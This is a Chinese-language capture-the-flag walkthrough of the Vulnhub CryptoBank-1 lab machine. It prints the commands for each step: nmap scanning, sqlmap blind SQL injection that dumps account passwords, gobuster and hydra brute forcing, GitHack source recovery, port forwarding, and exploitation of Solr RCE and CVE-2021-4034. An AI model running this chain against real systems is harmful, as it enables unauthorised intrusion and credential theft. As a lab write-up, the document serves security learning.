Vulnhub CryptoBank-1 Walkthrough
前言
这个靶机吧,逻辑不是很复杂,但是这个流程是真的复杂,一步步套娃,一步步深入,算了,不多说了,直接开干吧。干之前先说一下这个文章的布局结构,文章将要分为以下的几个方面展开:
下面可能会有几个英文单词,你知道的,有的安全类的词语翻译成中文确实非常的,,,诡异。还是英文原意比较顺口。
- Network Scanning
- Arp-scan
- Nmap
- Enumeration
- 浏览网站
- 制作用户名字典
- Exploitation
- 时间盲注
- 枚举数据表
- 使用 gobuster 目录穷举
- Hydra 爆破
- 使用 gobuster 目录穷举
- 枚举 Git
- 反弹 shell
- 利用命令注入
- Post Exploitation
- 使用 netstat 查看服务详细信息
- 使用 portfwd 转发端口
- 寻找 Solr 版本漏洞
- Privilege Escalation
- 利用 Solr RCE 漏洞
- 使用 Sudo 权限提升权限
- Reading Root Flag
Network Scanning
IP Collection
在开始攻击一台机器之前,首先要做的就是找到这个机器的 IP 地址,通过使用工具的扫描,最终确定了目标靶机的 IP 地址是 10.0.0.45
。
Nmap
在收集到主机的地址之后下一件事情就是进行端口扫描,详细的扫描目标主机开放的端口以及运行的服务。
nmap -A -T4 10.0.0.45 -p-
虽然这个 openssh
的版本是 7.6p1
但是上面已经没有了用户名枚举漏洞了。
Enumeration
浏览网站 & 生成字典
扫描完端口之后并没有发现什么敏感的端口,只有很常规的端口。所以接下来查看一下网站端有没有什么有价值的信息。在网页的右上角有一个登陆按钮,轻轻地将鼠标放上去,发现是链接到 cryptobank.local
,所以尝试将其加入到 hosts
文件中,继续向下浏览的过程中发现员工的 email
的按钮上有一个关键词,使他们自己的名字,怀疑是用户名,加入到字典中。
username | hosts |
---|---|
![]() |
![]() |
Exploitation
时间盲注
点击登录按钮之后出现了一个登录界面,测试这个位置是否存在 SQL注入
,简单尝试了一下报错注入,联合查询等,最后怀疑是盲注,所以实用工具尝试一下。
sqlmap -r post
发现是存在注入点的,那么就好办了,直接使用 sqlmap
对其进行时间盲注。
枚举数据表
sqlmap -r post --dbs
-------------------------
available databases [5]:
[*] cryptobank
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
现在已经获得了想要的数据库的列表,则选中 cryptobank
数据库继续进行数据表的注入。
sqlmap -r post -D cryptobank --tables
-------------------------------------
Database: cryptobank
[3 tables]
+----------+
| accounts |
| comments |
| loans |
+----------+
好了,一个有三个表,然后敏感数据显然是存在于 accounts
数据表中了。
时间盲注非常慢!!!!
sqlmap -r post -D cryptobank -T accounts -C username,password --dump
--------------------------------------------------
Database: cryptobank
Table: accounts
[12 entries]
+--------------------+------------+
| username | password |
+--------------------+------------+
| spongebob | 3mwZd896Me |
| bill.w | 3Nrc2FYJMe |
| deadbeef | 6X7DnLF5pG |
| dreadpirateroberts | 7HwAEChFP9 |
| notanirsagent | 8hPx2Zqn4b |
| williamdelisle | gFG7pqE5cn |
| buzzlightyear | LnBHvEhmw3 |
| mrbitcoin | LxZjkK87nu |
| johndl33t | NqRF4W85yf |
| juliusthedeveloper | wJWm4CgV26 |
| patric | x8CRvHqgPp |
| tim | zm2gBcaxd3 |
+--------------------+------------+
也将其用户名加入到字典中,密码单独做一个字典。(顺便说一下,使用这些账号登陆过网站了,并没有什么有用的信息,这里完全就是个烟雾弹)。
使用 gobuster 目录穷举
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://cryptobank.local
疑似后台界面,以 development
命令,大概率是后台调试界面。
Hydra 爆破
尝试访问,发现需要输入用户名和密码,则使用 hydra
爆破。这里本来想使用 BP 爆破来着,可惜抓不到包,只用用它了。
┌──(justice㉿localhost)-[~]
└─$ hydra -L username -P password cryptobank.local -f http-get /development
使用 gobuster 目录穷举
登陆 development
之后,发现什么都没有,源代码中也没有任何的东西,所以这里无奈只能选择继续目录扫描了,继续干。
┌──(justice㉿localhost)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php -u http://cryptobank.local/development -U julius.b -P wJWm4CgV26
枚举 Git
就先从 backup
开始吧,因为这个目录可能是有一些什么配置文件的备份或者是密码文件什么的,还是从这里后开始吧。访问一下。
看见了吧,我就说了,这东西就是套娃,想法设法的搞这么多东西,没想到又回来了,裂开。。。。。。。。。。。。。。。那也没什么办法,又细细的探索了一下这个界面有什么信息没有,对,你猜对了,就是没有。还是继续扫描吧。
扫描到了 .git
目录,这就意味了,这个程序是使用 git
管理的,所以说为了进一步的查看里面的敏感信息我们需要用到一个工具,叫做 githack
,从网上下下来之后直接运行就可以。
┌──(justice㉿localhost)-[~]
└─$ git clone https://github.com/lijiejie/GitHack.git
Cloning into 'GitHack'...
remote: Enumerating objects: 56, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 56 (delta 6), reused 18 (delta 6), pack-reused 34
Receiving objects: 100% (56/56), 17.10 KiB | 246.00 KiB/s, done.
Resolving deltas: 100% (14/14), done.
This is important
All users please git pull to update source code. (2022-05-09)
GitHack is a
.git
folder disclosure exploit.It rebuild source code from .git folder while keep directory structure unchanged.
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
python GitHack.py http://cryptobank.local/development/backups/home/.git/
过一会可以在当前目录下看见整个网站的目录结构了,这是一种非常有效的分析 cms 源码寻找后门的方法。
反弹 shell
浏览一下网站的目录结构,在 development/tools
目录下发现了一个 CommandExecution
的东西,这不正是刚刚上面目录扫描的时候扫到的 tools
目录嘛。细细的看一下这个叫做命令执行的文件。
懂得都懂,这我就不多说了,按照正常的思路来说,这就已经看见有命令执行的语句了,所以说现在第一件事就是去网站上访问一下 tools/commandexecution
这个东西,看看能不能执行一些命令。
username 就是要执行的命令,password 就是密码。
下面就开始重头戏了。没想到这个竟然有个小小的 WAF
。
那就只能曲线救国了。先在目标机器上下载一个脚本,然后执行它。
成功得到了第一个 flag
虽然没什么用。
Post Exploitation
使用 netstat 查看服务详细信息
这个 8983
端口一看就不正常,但是他并没有提供防卫,很显然这是一个 docker
容器。
使用 portfwd 转发端口
这个地方相的是将端口转发出去,这里还是利用 msfconsole
比较合适,不然的话还要配置 iptables
实在是太复杂了。
portfwd add -l 8983 -p 8983 -r 172.17.0.1
寻找 Solr 版本漏洞
Privilege Escalation
利用 Solr RCE 漏洞
设置好相关参数之后就可以连上了,轻轻松松十分愉快。
使用 Sudo 权限提升权限
Reading Root Flag
另一种提权方式,很显然,这个是存在 CVE-2021-4034
漏洞的,这是经过脚本测试出来的,所以直接利用即可提权。